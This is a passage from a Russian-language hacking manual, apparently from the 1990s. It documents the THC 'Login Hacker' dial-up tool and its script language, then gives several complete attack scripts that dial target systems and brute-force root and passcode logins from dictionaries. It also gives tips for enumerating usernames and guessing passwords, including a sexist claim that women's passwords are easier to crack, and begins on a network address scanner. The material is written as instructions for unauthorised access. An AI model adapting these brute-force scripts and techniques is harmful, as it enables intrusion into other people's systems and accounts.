роотуров, системных администраторов, крутых менеджеров и других сетеподобных личностей. После того, как вы войдете в систему, последняя станет весьма уязвимой. Попробуйте получить текстовой файл с описанием модернизации сервера, затем узнайте, какие имеются дырки. Если возникнут проблемы, попытайтесь получить помощь у знакомого вам хакера. Каких пользователей можно легко взламывать? Как правило, пароли женщин подбираются легче (они обычно используют гостевую систему регистрации), чем пароли мужчин. Попробуйте узнать настоящее имя пользователя, а уже затем подобрать его логин, затем любые женские имена, слова из жаргона футболистов, цифры 123, слова типа "secret" и т.д. В системах Unix для того, чтобы узнать логин пользователя, можно воспользоваться командой finger или через команду telnet воткнуться в smtp-порт и получить полные имена пользователей. Обычно, когда осуществлена связь с запаролированной системой по телефонной линии, выводится приглашение "PASSWORD:". или вообще экран оказывается пустым. Важно: Достаточно легко взломать так называемые Silent Carriers. Делается все посредством скрипта программы Login Hacker. Файлы программы LOGINH.EXE Программа Login Hacker. LH-COMP.EXE Компилятор для скриптов. X00.EXE Драйвер Fossil. Используйте этот драйвер при выполнении программы. Загружается драйвер так: X00.EXE E 2 FILE_ID.DIZ Краткая информация о программе. HISTORY.DOC Библиография программы. LOGINH.DOC Документация. SCRIPT.DOC Документация по скриптам. RESULT.DOC Результат в виде кодов, полученный после выполнения Login Hacker. UPDATE.DOC Информация о том, как можно обновить программу. VH_BASE.DIC Основной словарь. LH&SCAVE.TXT Пример скрипта, который используются вместе с Scavenger Dialer. THC&SCAV.SCR SCAVENGER Пример скрипта, который нужен скрипту LH&SCAVE.TXT. REBREAK.SCR Пример Scavenger-скрипта. Он нужен для скрипта LH&SCAVE.TXT. HANGUP.SCR Пример скрипта, который нужен скрипту LH&SCAVE.TXT. PICKUP.SCR Пример скрипта, который нужен скрипту LH&SCAVE.TXT. THC-LH_1.TXT Первый пример, показывающий применение языка скриптов. THC-LH_2.TXT Второй пример, показывающий применение языка скриптов. DEC-SERV.TXT Хорошо опробованный скрипт (автор: Tron). PASSCODE.TXT Другой скрипт (автор: Mind Maniac). THC.NFO Очень важно! Все, что касается известного сообщества. LORE.COM Исполняемый скрипт для LORE BBS (автор: Plasmoid). LOGINH.CFG Кофигурационный файл. LOGINH.LOG Созданный конфигурационный файл. Если конфигурационный файл уже существует, то все данные будут добавлены в его конец. Этот файл может быть определен в соответствующем скрипте или через саму программу в Hacking Setup. LOGINH.SCR Скрипт, созданный компилятором LH-COMP.EXE. Только такие скрипты могут быть загружены в Login Hacker. LOGINH.HCK Если произошло вынужденное прерывание программы, то создается этот файл с подобным расширением. Этот файл данных указывает на установки, соответствующие первоначальным данным словаря Brute Force Generator. Если снова произошел сбой, то программа выдаст сообщение с запросом о том, нужно ли использовать данные из этого файла. Это дает вам возможность прервать сессию и использовать предыдущие данные в новой атаке. Помните, что этот файл не является скриптом. Это файл регистрации. Если вы записываете в этот файл данные, полученные от другой атаки, программа все равно попросит вас использовать только данные предыдущей атаки. Команды и параметры Первая и самая главная команда программы Login Hacker со всеми возможными параметрами выглядит так: LOGINH.EXE [scriptfile]/[anything] [-Auto] [-Shh:mm] [Ehh:mm] [scriptfile] Автоматически загружает скомпилированный скрипт scriptfile и ожидает ввода ключа для загрузки. [anything] Если этот параметр не есть существующий файл, то программа запускается без демонстрационных сообщений. [-Auto] Этот параметр загружает скрипт без дополнительного ключа. [-Shh:mm] Начальное время, то есть пошла атака. [-Ehh:mm] Время, в течение которого происходило сканирование. [-T] Запуск скрипта в режиме проверки. То есть скрипт не загружается в модем. [-D] Активизация режима отладки. В этом режиме вы можете выбрать, какую команду нужно выполнять дальше. Вторая, не менее важная команда программы Login Hacker со всеми возможными параметрами выглядит так: LH-COMP.EXE [scriptfile] [scriptfile] Файл, который будет подвергнут процедуре компиляции. Использование Login Hacker Имеется пять опций, непосредственно влияющих на запуск программы: L Загрузка откомпилированного скрипта и начало атаки. S Настройка модема и других основных параметров программы. T Терминальный режим. I Некоторая информация. Q Выход. Экран в интерактивном режиме Речь идет о том моменте, когда произошла загрузка и запустился скрипт. Все, что идет из модема, выглядит на вашем экране символами белого цвета. Все, что записывается в файл регистрации, выглядит на вашем экране темно-синими символами. Каждое сообщение системы, в том числе CONNECT, ALARM, HANGUP и ERROR должно отображаться синим цветом. Все вышесказанное справедливо лишь в том случае, если вы активизировали опцию Print Logoutput to Screen too. Горячие клавиши в режиме On-line ESC Пауза или выход из меню. F1 Посказка. ALT-B Так называемая базовая клавиша. Позволяет спрятать экран. ALT-C Очистка экрана. ALT-D Включить или выключить режим отладки. ALT-H Вызвать меню HangUp. ALT-I Отобразить на экран статистику и другую дополнительную информацию. ALT-J Прыгнуть в DOS (не пользуйтесь этой командой в бета-версиях). ALT-L Особое меню регистрации. ALT-T Загрузить терминальный режим. В этом режиме экран зависает, система находится под вашим контролем. Вы можете произвести идентификацию посредством любой из вышеописанных клавиш (кроме ESC). Чтобы выйти из терминального режима, нажмите ALT-T или ALT-X. Описание языка скриптов Скрипты -- это изюминка Login Hacker. Поэтому, если вы научитесь писать хорошие скрипты, то сможете взломать практически любую систему. Конечно это не относится к новичкам или тем хакерам, которые никогда не программировали даже на Бэйсике. Скрипт должен пройти через компилятор, который проверяет его на вшивость. Поэтому вы можете быть уверены на 99%, что в процессе атаки не произойдет сбоя по вине плохого скрипта. Итак, поехали. Все, что начинается с точки с запятой -- комментарии. Все, что начинается с двоеточия -- переход на следующую команду. Четыре строки, начинающиеся с символа # определяют операторы, с которых начинается специальная часть скрипта. Оператор #DEFINE определяет переменную. Оператор #NOCARRIER осуществляет автоматический возврат в программу в случае аварийного прерывания сессии, то есть без команды hangup. Оператор #START активизирует загрузку скрипта. Оператор #END заканчивает выполнение скрипта. Все переменные являются необязательными. Исключение составляют переменные logfile и phone_nr. Вы не можете определять какие-либо переменные, за исключением тех, которые описаны ниже. LOGFILE=FILENAME Определить файл регистрации и место на диске для этого файла. Это важная переменная используется при написании любого скрипта. Например: LOGFILE=C:\OUTPUT\NY-SYS5.LOG PHONE_NR=NUMBER Эта переменная используется вместе с командой DIAL. Ее тело может состоять как из цифр, так и из букв. Это вторая переменная, которую всегда используют при написании скриптов. Например: PHONE_NR=1-800-WHO-CARES INIT_MODEM=STRING Если ваш модем должен работать в режиме Pulse Dialing, то поместите перед телефонным номером аргумент P. Если же ваш модем не может инициализировать строковые данные, поместите перед соответствующим телефонным номером команду AT (если эта команда отстствует в Hacker Setup). Например: INIT_MODEM=Z (здесь также может стоять аргумент AT Z) INIT_DATA=STRING Инициализация каналов передачи данных, в том числе стоповых битов и битов четности. Переменная используется в том случае, если соответствующие параметры отсутствуют в Hacker Setup. В общем случае аргументами этой переменной являются наборы символов 8N1 и 7E1, то есть аргумент всегда должен состоять из трех символов. Первый символ -- это цифры 7 или 8, являющиеся битами данных. Второй символ может быть записан как P (контроль по нечетности), E (контроль по четности) или N (не контролировать биты данных). Третий символ соответствует ситуации, когда на первый стартовый бит налагается первый стоповый бит: 7/8+E/P/N+1/2. DIAL_TRIES=NUMBER Эта переменная определяет количество попыток набора номера в диапазоне от 0 до 65535. Ноль соответствует бесконечному набору номера. Если номер набран, загружается HANGUP и остальная часть скрипта. Например: DIAL_TRIES=3 Standard : 0 Важно: Если эта переменная отсутствует в скрипте, то будут использованы установки, соответствующие файлу LOGINH.CFG. LOGIN_TRIES=NUMBER Эта переменная определяет количество попыток входа в систему в диапазоне от 0 до 2300000000. Ноль соответствует неограниченной попытке зарегестрироваться. Если в файле словаря будет достигнут так называемый конец кадра (EOF), то скрипт автоматически повесит трубку и прекратит сессию. Время, в течение которого будет осуществляться подбор регистрационных данных зависит от команд прицепки SEND_NEXT_DIC, NEXT_DIC или им аналогичных для словаря Brute Force Generator. Например: LOGIN_TRIES=0 Standard: 0 Важно: Если эта переменная отсутствует в скрипте, то в атаке будут использованы установки, соответствующие файлу LOGINH.CFG. DIC(NUMBER)=FILENAME Определить словарь, который будет использован соответствующим скриптом. Аргумент DIC указывает на существующие файлы словарей. Вы можете прицепить к скрипту от одного до трех словарей. Используйте для этого команды Send_Next_DIC (1), Send_DIC (1) и Next_DIC (1). Например: DIC(1)=C:\HACKING\DICTIONA.RY\BAD_PWS.DIC FROM_DIC(NUMBER)=STRING Определить слово, начиная с которого можно использовать словарь в скрипте. Например: FROM_DIC(1)=Tracy BRUTE(NUMBER)=STRING,NUMBER,NUMBER,NUMBER Определить словарь Brute Force Generator для использования в скрипте. Brute Force Generator весьма гибок. Четыре параметра словаря Brute Force Generator разделены запятой. Ниже описывается приемлемая спецификация этих параметров. 1 a=буквы нижнего регистра. A=буквы верхнего регистра. 1=цифры. $=спецсимволы. ^=так называемые контролируемые символы. Любые синонимы ASCII. 2 Этот параметр сообщает скрипту, какое количество различных символов, соответствующих параметру 1 необходимо этому скрипту. Каждое сгенерированное слово, соответствующее параметру 1 всегда имеется в таком же слове, соответствующим параметру 2. Символ верхнего регистра и один номер допустимы. Величина, соответствующая нулю неприемлема. 3 Сообщает скрипту возможную минимальную длину для символов пароля, подобранного при использовании словаря Brute Force Generator. 4 Возможная максимальная длина для символов пароля, подобранного при использовании словаря Brute Force Generator. Важно: Минимальная длина символов равна 1, максимальная соответствует 12. Помните, что вы можете использовать в атаке до трех словарей Brute Force Generator. Используйте для этого великолепные команды привязки Next_Brute(1), Send_Next_Brute(1) и Send_Brute(1). Например: BRUTE(1)=a,1,1,6 В этом примере используется первый параметр Brute Force Generator со следующими данными: проверять только символы нижнего регистра; предположить, что при подборе пароля в словаре присутствует хотя бы один действительный символ; минимальная длина регистрационного слова равна единице, максимальная -- шести. FROM_BRUTE(number)=STRING Начать инициализацию со словарем Brute Force Generator. При этом важно следующее: если инициализация началась с четвертой буквы, а вы просматриваете диапазон от 1 до 8 буквы, то диапазон от 1 до 3 будет игнорироваться, то есть сначала идет подбор aaaa, затем aaab, затем aaac и т.д. Например: FROM_BRUTE(1)=2527 Секция #NOCARRIER Это будет выполняться всякий раз, когда вы не используете команду HANGUP. Если в скрипте отсутствуют операторы GOTO (*START) или GOTO (1), то дальше он выполняться не будет. Это означает, что вы снова должны набрать модемный номер доступа к системе. Поэтому проверьте установки в DIAL_TRIES. Секция #START В этой важной секции описываются операторы, которые в дальнейшем будут ломать систему. LOG(STRING) Команда LOG() записывает в файл регистрации некоторую информацию. Это может быть любой текст, переменные, перед которыми всегда должен стоять знак $ (знак доллара), а также пробелы между словами. В конец строки каждая команда LOG() автоматически печатает возврат каретки. Примеры: LOG(Beginning on $DATE * $TIME) Будет выведено следующее: "Beginning on 24-12-96 * 23:00" LOG_(STRING) Этот пример аналогичен вышеприведенному, за исключением того, что после текста отсутствует CRLF (End-Of-Line). :NUMBER Каждая линия, начинающаяся с : (двоеточия) маркируется оператором GOTO. Вы можете использовать 240 маркировок в диапазоне от 1 до 240. Другие номера неприемлемы. Переход к нужному маркеру осуществляется командами передачи управления GOTO, GOSUB, CHECK4OUTPUT и CHECK4CARRIER. Например: :1 В этом примере на соответствующую строку выполняется переход к точке с номером 1. GOTO(NUMBER) Передать управление на маркировку перехода. Вы можете также осуществить переход командами #START, #NOCARRIER и #END. Например: GOTO(#END) (выполнение скрипта завершено). GOSUB(NUMBER) С командой подстановки GOSUB вы осуществляете переход к следующей маркировке. Команда GOSUB, как правило исполняется уже после перехода на следующий маркер, то есть в тот момент, когда команды GOSUB и RETURN столкнутся между собой. Обратите внимание, что вот такая команда невозможна: GOSUB(#END). Например: GOSUB(4) RETURN Это так называемая команда выхода из подпрограммы. Используя эту команду, вы можете возвратиться к местоположению последней выполненной команды GOSUB и продолжить обычное выполнение скрипта. Если в буферном регистре команда RETURN сталкивается с несуществующим начальным адресом GOSUB, то она будет игнорироваться. В одном буферном регистре вы можете иметь до 255 подстановок GOSUB. Например: RETURN CHECK4CARRIER(NUMBER) Проверка модема на соединение с линией, то есть проверка на несущую частототу. Команда будет выполняться в случае отсутствия перехода к указанной маркировке (переход соответствует команде GOTO). Если переход обнаружен, то устанавливается внутреннее соединение с переменной TRUE для проверки на NO_CARRIERS. Вы можете также осуществлять процедуры перехода к *NOCARRIER, *START и *END. Также возможно осуществить проверку модема только на ON или OFF. Если команда CHECK4CARRIER(ON) выполнена с переходом к маркеру, отмечающему обнаружение линии, и, если представлен NOT, то управление передается на *NoCarrier. Эта команда полезна только в том случае, когда вы оказываетесь на CHECK4CARRIER(OFF) и не хотите использовать команду DIAL, чтобы соединиться с удаленной системой (позвольте набрать номер SCAVENGER DIALER). Примеры: CHECK4CARRIER(#NOCARRIER) CHECK4CARRIER(5) CHECK4CARRIER(ON) CHECK4CARRIER(OFF) CHECK4OUTPUT(NUMBER) Это будет выполнено подобно нижеописанной функции ALARM: Если выходной сигнал (OUTPUT) модема обнаружен, то переходы будут осуществляться непосредственно к указанной маркировке. Вы можете также передать управление к *NOCARRIER, *START и *END. Также возможно отключить проверку на OFF, то есть заблокировать указанную проверку выходного сигнала. Например: CHECK4CARRIER(#NOCARRIER) CHECK4CARRIER(5) CHECK4CARRIER(OFF) DIAL Набор номера PHONE_NR. Если с системой нет соединения, то сначала в модем будет послана команда: "Повесить трубку!". Например: DIAL HANGUP Поднять и опустить трубку. Например: HANGUP WAIT4STRING(NUMBER,STRING,NUMBER, COMMAND,STRING) В представленном здесь языке скриптов это самая важная команда. После ее выполнения выходной сигнал модема будет находиться в состоянии ожидания. В этот момент должна начаться загрузка специального слова. Если стыковка осуществлена, то скрипт продолжается, если -- нет, то после таймаута в модем будет отправлена заданная последовательность, затем -- вновь таймаут и, наконец, идет выполнение команды. Важно: Сначала команда WAIT4STRING проверяет текущую строку с представленным словом. Синтаксис: WAIT4STRING(a,b,c,d,e). a Определить таймаут в диапазоне от 0 до 255 секунд. Ноль соответствует неограниченному ожиданию, то есть ждать до тех пор пока не наступит так называемый TOTAL TIMEOUT (скрипт переходит в секцию #NOCARRIER в том случае, если данные не поступают из модема в течение пяти минут). Если ничего не получено, то последовательность в потоке данных распознается снова, или в какой-то момент несущая частота объявляется потерянной. b Последовательность данных, которая будет послана в модем после таймаута. c Частота отказов или количество общего времени, в течение которого может выполняться фатальная команда. Диапазон: от 0 до 255 (0=никогда, 1=первый раз). d Выполнение специальной фатальной команды. Это могут быть любые команды, исключая: ALARM, WAIT4STRING и IF. e Последовательность данных для ожидания. Данные чувствительны к регистру. Например: WAIT4STRING(15,^M,2,GOTO(1),ogin:) В этом примере происходит ожидание последовательности ogin: в течение 15 секунд. Если стыковка не получилась, а каретка возвращается в модем (^M), то команда снова ждет 15 секунд, пока вновь не наладится стыковка с последовательностью данных ogin:. Как только истекут следующие 15 секунд, вызывается фатальная команда, что означает переход к GOTO с меткой под номером 1. LOG_SESSION_ON Начиная с этого пункта, все данные поступающие из модема записываются в файл регистрации. Например: LOG_SESSION_ON LOG_SESSION_OFF Если содержимое экрана записано в файл регистрации, то к этому пункту больше не будет обращений. Например: LOG_SESSION_OFF SEND(STRING) Команда SEND передает последовательность данных в модем. Через эту команду вы можете пересылать в модем переменные со знаком $. В конец последовательности передается возврат каретки. Если последовательность данных не задана, то сразу осуществляется переход на возврат каретки. Например: SEND(echo Hacked you system Time: $TIME - Date: $DATE > HACKED.TXT) В данном примере команда SEND посылает в модем следующую строку: echo HAcked your system Time: 23:00 - Date: 24-12-95 > HACKED.TXT SEND_() Эта команда аналогична вышеописанной, но она не посылает в модем символ возврата каретки ^M. Ее можно использовать, если вам нужно загрузить в модем только один символ или командный режим +++. Примеры: SEND_(n) SEND_(+++) SEND_NEXT_DIC(NUMBER) Например: SEND_NEXT_DIC(1) SEND_DIC(NUMBER) Переслать текущий словарь в модем. Например: SEND_DIC(1) NEXT_DIC(NUMBER) Переместиться на слово, соответствующее аргументу NUMBER. Например: NEXT_DIC(1) SEND_NEXT_BRUTE(NUMBER) Используя Brute Force Generator, сгенерировать следующую допустимую последовательность и переслать ее в модем. Например: SEND_NEXT_BRUTE(1) SEND_BRUTE(NUMBER) Переслать в модем текущую последовательность допустимых данных из словаря Brute Force Generator. Например: SEND_BRUTE(1) NEXT_BRUTE(NUMBER) Сгенерировать следующую допустимую последовательность данных из словаря Brute Force Generator. Например: NEXT_BRUTE(1) IF VARIABLE OPERATOR STRING THEN COMMAND Команда IF первой версии этой программы не очень гибкая. Синтаксис этой команды следующий: IF THEN Означает равносильность при аргументе =, больше или меньше при аргументах < или > соответственно и переменную содержащую любую последовательность слов при аргументе ~. Переменные и последовательности должны быть дискретными переменными. Эта команда выполнится в том случае, если будет соблюдено условие TRUE. Чтобы ее использовать, просмотрите список команд для оператора WAIT4STRING. Например: IF STRING~ogin THEN GOTO(3) То есть, если текущая строка (STRING) содержит дискретную (~) последовательность данных ogin, то идти (GOTO) к маркеру с номером 3. EXECUTE(STRING) Выполнить DOS-программу, а затем запустить скрипт. Вы должны включить переменные в выполняему строку. Вы также должны выполнить соответствующие внутренние команды MS DOS. Помните, что перед переменной может стоять знак $ с возможными пробелами позади и впереди самого знака. Важно: Если вы хотите запустить программу в то время, когда по вашему скрипту осуществлено соединение, то вы должны использовать драйвер fossil. В противном случае ваш компьютер зависнет. Поэтому запустите X00.EXE E 2 перед выполнением программы Login Hacker. Важно: Чтобы ваша программа не была повреждена, предварительно сохраните ее в каталоге отличном от исходного. Примеры: EXECUTE(C:\SB\VPLAY C:\SB\VOC\HACKED.VOC) EXECUTE(COPY $LOGFILE C:\HACKED) ALARM(STRING,COMMAND) Опасно! Нажимать на спусковой крючок! Если на удаленном компьютере сработала система защиты, то вы будете активны до тех пор, пока не выполнится эта команда. STRING Последовательность, для которой осуществляется поиск данных с их последующей передачей в модем. COMMAND Эта команда будет выполнена после стыковки. Чтобы ее использовать, просмотрите листинг команд для WAIT4STRING. Примените эту команду в том случае, например, если вы взломали BBS, а сисоп вас раскусил и задает глупые вопросы. После этой команды вы автоматически прервете соединение и остановите выполнение скрипта. Например: ALARM(chat,GOTO(#END)) SET VARIABLE=STRING Этой командой вы определяете переменную в секции #START или #NOCARRIER. Если переменная является статической переменной, то вы должны это отметить. Вы должны устанавливать только следующие переменные: STRING, DIAL_TRIED, LOGIN_TRIED, S_TMP и D_TMP. Например: SET D_TMP=3 Определить статическую переменную D_TMP в качестве 3. INC(DIGIT_VARIABLE) Увеличить число указанной переменной на 1. Эта команда будет выполнена лишь в том случае, если переменная после дополнения не находится в указанном диапазоне. Имеют силу следующие команды: DIAL_TRIES, DIAL_TRIED, LOGIN_TRIES, LOGIN_TRIED и D_TMP. Например: INC(D_TMP) DEC(DIGIT_VARIABLE) Уменьшить чило указанной переменной на 1. Эта команда будет выполнена лишь в том случае, если переменная после вычитания не будет находиться вне указанного диапазона. Имеют силу следующие команды: DIAL_TRIES, DIAL_TRIED, LOGIN_TRIES, LOGIN_TRIED и D_TMP. Например: DEC(D_TMP) WAIT(NUMBER) Ожидать до тех пор, пока идут секунды, определенные аргументом NUMBER. Аргумент NUMBER соответствует любому числу в диапазоне от 1 до 65535. Например: WAIT(10) (десять секунд) WAIT_(NUMBER) Ожидать до тех пор, пока идут миллисекунды, определенные аргументом NUMBER. Аргумент NUMBER соответствует любому числу в диапазоне от 1 до 65535. Например: WAIT(500) (полсекунды) BEEP Создает сигнал, похожий на легкий звук бибикалки! Переменные и управляющие символы Речь идет о переменных, которые могут быть использованы в командах SEND() или LOG(). Как уже отмечалось, закачка переменных в модем или файл регистрации определяется символом $ (доллара), поставленным перед соответствующей переменной, и пробелами. Вы можете использовать #DEFINE любые специфические переменные. Вам их нужно только определить. STRING Символы пересылаются из модема в последнюю строку. STRING2 Последние 250 символов отправляются из модема. DIAL_TRIED Фактические попытки набора номера. LOGIN_TRIED Фактические попытки получить имя и пароль. TIME Действительное время в часах и минутах (двоеточие пропускается). Например, TIME=1505 означает 15:05. DATE Текущая дата в формате MMDD. Например, DATE=503 означает 3 мая. DIC(1) Текущий загруженный словарь 1. BRUTE(2) Текущая строка словаря Brute Force Generator 2. S_TMP Переменная строка. Вы можете ее использовать, как вам нравится. D_TMP Переменная для цифр. Вы можете ее использовать, как вам нравится. В командах IF и SET вы можете использовать исключительно вышеописанные переменные. Переменные из #DEFINE исключаются. Только статические переменные и константы приемлемы для IF! Не нужно также использовать знак $ перед переменной. Этот знак допустим только в командах SEND, LOG и WAIT4STRING. Например: IF TIME>1215 THEN GOTO #END (отсоединиться после 12:15). LOG($DIC(3)) SEND($S_TMP) Теперь относительно спецсимволов. Вы можете записывать любые управляющие символы вместе с командами LOG, SEND или WAIT4STRING через знак ^ (шапочка). Это означает, что вы можете ввести, например, ^M или написать ^^ ... окей?, или использовать любые конструкции от ^A до ^Z плюс ^[ ^\ ^] и ^^. Например: SEND_(^D) #DEFINE <определения> #NOCARRIER <некоторые команды> #START <ваш алгоритм> #END Сообщения об ошибках Если в процессе компиляции вы получаете сообщение об ошибке, то помните, что в вашем распоряжении имеется файл .BAK. Просмотрите и внимательно изучите содержимое этого файла. При компилировании скрипта может всплыть только два сообщения об ошибке: WARNING Вы что-то не так скомпилировали. Компилятор в любом случае создаст скрипт, который может запуститься без всяких проблем. Это сообщение, например, может быть выдано, если невозможно найти указанный словарь. Возможно, что вы не полностью подготовили копию. ERROR Это критическая ошибка. В какой-то момент компилятор прервал необходимую процедуру завершения. Для исправления этой ошибки проверьте файл с расширением .BAK и ваш исходный файл. Пример стандартного скрипта #DEFINE PHONE_NR=, LOGFILE=lh&scave.log DIC(1)=d:\project\hack\word\badpws.dic ; задайте корректный путь к вашему словарю #NOCARRIER IF S_TMP=DEFINE THEN EXECUTE(scavenge.exe /nooutput /s hangup.scr) LOG(Carrier lost on $DATE at $TIME) LOG() GOTO(#START) #START SET S_TMP=UNDEFINE ;SET S_TMP=DEFINE HANGUP LOG_SESSION_ON SET STRING2= IF S_TMP=DEFINE THEN EXECUTE(scavenge.exe /nooutput /s pickup.scr) IF S_TMP=UNDEFINE THEN SEND(AT H1) EXECUTE(scavenge.exe /nooutput /s thc&scav.scr) :111 SEND(ATD) SET D_TMP=0 :112 WAIT(1) INC(D_TMP) IF D_TMP>50 THEN GOTO(99) CHECK4CARRIER(112) SEND() ; послать возврат каретки после соединения :1 WAIT(1) IF STRING2~assw THEN GOTO(2) GOTO(1) :2 SEND_NEXT_DIC(1) WAIT(2) IF STRING2~ncorr THEN GOTO(3) GOTO(50) :3 SET STRING2= :4 WAIT(1) IF STRING2~assw THEN GOTO(5) GOTO(4) :5 SEND_NEXT_DIC(1) WAIT(2) IF STRING2~ncorr THEN GOTO(6) GOTO(50) :6 SET STRING2= :7 WAIT(1) IF STRING2~assw THEN GOTO(8) GOTO(7) :8 SEND_NEXT_DIC(1) WAIT4STRING(10,,1,GOTO(50),ncorr) GOTO(99) :50 BEEP BEEP BEEP LOG(------------- -----------------)---- -------------------) LOG($DATE $TIME) LOG() LOG(PASSWORD: $DIC(1)) LOG() GOTO(150) :99 CHECK4CARRIER(OFF) IF S_TMP=UNDEFINE THEN GOTO(#START) EXECUTE(scavenge.exe /s rebreak.scr) ; создание скрипта для перенабора номера и дозвона до цели GOTO(111) :150 IF S_TMP=DEFINE THEN EXECUTE(scavenge.exe /nooutput /s hangup.scr) GOTO(#END) #END Первый пример скрипта Системный дескриптор: UNIX на F. Но вы никогда не должны это делать. #DEFINE LOGFILE=C:\OUTPUT\NY-SYS5.LOG PHONE_NR=I dont tell you ;) DIAL_TRIES=3 LOGIN_TRIES=0 DIC(1)=C:\HACKING\DICTIONA.RY\BAD_PWS.DIC #NOCARRIER BEEP BEEP BEEP LOG(NO CARRIER) LOG(ON $DATE $TIME) LOG(AT $DIC(1)) LOG() GOTO(#START) #START LOG(------------------------- -----)---- -------------------) LOG(TARGET : $PHONE_NR ON $DATE - $TIME) LOG() :1 LOG(Dialing ...) DIAL LOG($STRING) LOG_SESSION_ON SEND() SEND() WAIT4STRING(15,^M,4,GOTO(1),name) SEND( ) LOG_SESSION_OFF :2 SEND(CONNECT HACK.THIS.SYSTEM.EDU) :3 WAIT4STRING(30,^C,1,GOTO(2),ogin:) SEND(root) WAIT4STRING(20,^D,1,GOTO(2),assword:) SEND_NEXT_DIC(1) IF STRING~ogin: THEN GOTO(3) IF STRING~refused THEN GOTO(2) LOG() LOG($STRING) LOG() LOG(!!!!! WE GOT THROUGH !!!!!!) LOG(Login : root) LOG(Password : $DIC(1)) LOG() BEEP BEEP BEEP BEEP BEEP HANGUP GOTO(#END) #END Второй пример скрипта #DEFINE INIT_MODEM=AT&N15 INIT_DATA=7E1 LOGFILE=C:\OUTPUT\TELEKOM4.LOG PHONE_NR=I dont tell you ;) DIAL_TRIES=3 LOGIN_TRIES=0 BRUTE(1)=1,1,1,12 #NOCARRIER BEEP BEEP BEEP LOG(NO CARRIER) LOG(ON $DATE $TIME) LOG(AT $BRUTE(1)) LOG() GOTO(#START) #START LOG(-----------------------------------)---- ---------------) LOG(TARGET : $PHONE_NR ON $DATE - $TIME) LOG() :1 LOG(Dialing ...) HANGUP DIAL LOG($STRING) WAIT4STRING(15,^M,4,GOTO(1),PA) :2 SEND_NEXT_BRUTE(1) WAIT4STRING(3,^M,2,GOTO(3),PA) GOTO(2) :3 LOG_SESSION_ON SEND() SEND(?) SEND(HELP) SEND(HILFE) LOG() LOG(!!!!! WE GOT THROUGH !!!!!!) LOG(Password : $BRUTE(1)) LOG() BEEP BEEP BEEP BEEP BEEP HANGUP GOTO(#END) #END Третий пример скрипта Этот скрипт может быть использован на некоторых небесплатных телефонных линиях 0130-xxxxxx. ; Система требует пароль ; Неограниченное количество попыток позволяет войти в систему ; ; 30xCrLf ; PASSCODE:***** ; #DEFINE INIT_MODEM=AT &F L2 INIT_DATA=8N1 LOGFILE=xxxxxx.LOG PHONE_NR=0130xxxxxx DIAL_TRIES=5 LOGIN_TRIES=0 DIC(1)=C:\2\thc-lh09\w1.w #NOCARRIER BEEP BEEP BEEP LOG(NO CARRIER) LOG(ON $DATE $TIME) LOG(AT $DIC(1)) LOG() GOTO(#START) #START LOG(------------------- ---------)---- -------------) LOG(TARGET : $PHONE_NR ON $DATE - $TIME) LOG() :1 LOG(Dialing ...) HANGUP DIAL LOG($STRING) WAIT4STRING(30,.^M,3,GOTO(1),PASS) :2 set string= SEND_NEXT_DIC(1) wait(1) LOG($DIC(1)) ; да, регистрироваться с каждой попытки! WAIT4STRING(15,.^M,3,GOTO(3),PASS) GOTO(2) :3 LOG_SESSION_ON SEND() SEND(?) SEND(HELP) SEND() LOG() LOG(!!!!! WE GOT THROUGH !!!!!!) LOG(Password : $DIC(1)) LOG() BEEP BEEP BEEP BEEP BEEP HANGUP GOTO(#END) #END Четвертый пример скрипта Это скрипт предназначен исключительно для платформ Telnet. #DEFINE init_modem=z init_data=8n1 LOGFILE=xxxxxx.log PHONE_NR=xxxxxx DIAL_TRIES=0 LOGIN_TRIES=0 DIC(1)=D:\hackusr\dictbig.txt ;dic(2)=d:\hackusr\bigdict2.txt ;dic(3)=d:\hackusr\bigdict3.txt #NOCARRIER LOG(NO CARRIER) LOG(ON $DATE $TIME) LOG(AT $DIC(1)) LOG(returning ...) GOTO(#START) #START HANGUP LOG_SESSION_ON LOG() log() log( HaCK ATTeMPT STaRTeD ......) log() log( TaRGeT: $PHONE_NR ) log( DaTe: $DATE ) log( TiMe: $TIME) log() log() log( ......DiaLiNG) dial log() log( ......CoNNeCTeD!) log() log() wait(5) :1 wait4string(1,^M,5,goto(#start),sername>) send(fh65) :2 wait4string(1,^M,5,goto(#start),ocal>) send(connect 189.25.56.7) :3 if string~sconnected then goto(2) if string~ncorrect then goto(3) wait4string(1,^C,5,goto(4),ogin:) send(root) if string~sconnected then goto(2) if string~ncorrect then goto(3) :4 if string~sconnected then goto(2) if string~ncorrect then goto(3) wait4string(1,^D,5,goto(4),assword:) send_next_dic(1) if string~sconnected then goto(2) if string~ncorrect then goto(3) :5 if string~sconnected then goto(2) if string~ncorrect then goto(3) :6 wait(1) if string~sconnected then goto(2) if string~ncorrect then goto(3) wait(1) if string~sconnected then goto(2) if string~ncorrect then goto(3) wait(1) if string~sconnected then goto(2) if string~ncorrect then goto(3) wait(1) if string~sconnected then goto(2) if string~ncorrect then goto(3) wait(1) if string~sconnected then goto(2) if string~ncorrect then goto(3) wait(1) if string~sconnected then goto(2) if string~ncorrect then goto(3) wait(1) if string~sconnected then goto(2) if string~ncorrect then goto(3) wait(1) if string~sconnected then goto(2) if string~ncorrect then goto(3) wait(1) if string~sconnected then goto(2) if string~ncorrect then goto(3) :7 beep beep beep beep beep beep beep beep beep log() log() log() Log(...... HaCK ATTeMPT WaS SuCCeSSFuLL!!!!!!!!!!!!!!) log() log( TaRGeT: $PHONE_NR DaTe: $DATE TiMe: $TIME) log() log() log() log( ACCouNT: root) log( PaSSWoRD: DIC(1)) log() log() log() #END Сканирование адресов пользователей Операции по сканированию сетевых адресов мы разберем на основе весьма известной программы Network User Address Attacker. Эта программа известного сообщества P/H/A. NUA Attacker написан на Turbo C 2.0 хакером Доктором Диссектором. Network User Address Attacker сканирует клавишную панель SprintNet. При этом программа способна распознать ошибки кодов на SprintNet и других типах соединений. Каждый отсканированный сетевой адрес может зарегистрироваться под logfile с описанием возвращенного кода ошибки или краткой суммой данных главной системы. Таким образом, программа дозванивается до Net и сканирует сетевые адреса пользователей. Диапазон сканирования задается атакующим. Кроме этого, в прилагаемом к программе файле SND390.TXT имеется список некоторых модемных телефонных номеров. Вы можете, конечно, использовать только известный вам номер, то есть тот номер, который наиболее близко соответствует вашему региону. Эта программа может быть наиболее полезной при поиске сетей с коммутирующими пакетами или на основе UNIX. Автор этой программы надеется, что любые ошибки, найденные в ней, будут переданы через сообщество P/H/A хакерам Доктору Диссектору, Темному Шлему, Корейцу Подавителю или Анонимному Анархисту. Файлы программы NUAA.EXE Программа NUA Attacker. NUAA.DOC Документация README.PHA Прочтите это сначала! SND390.TXT 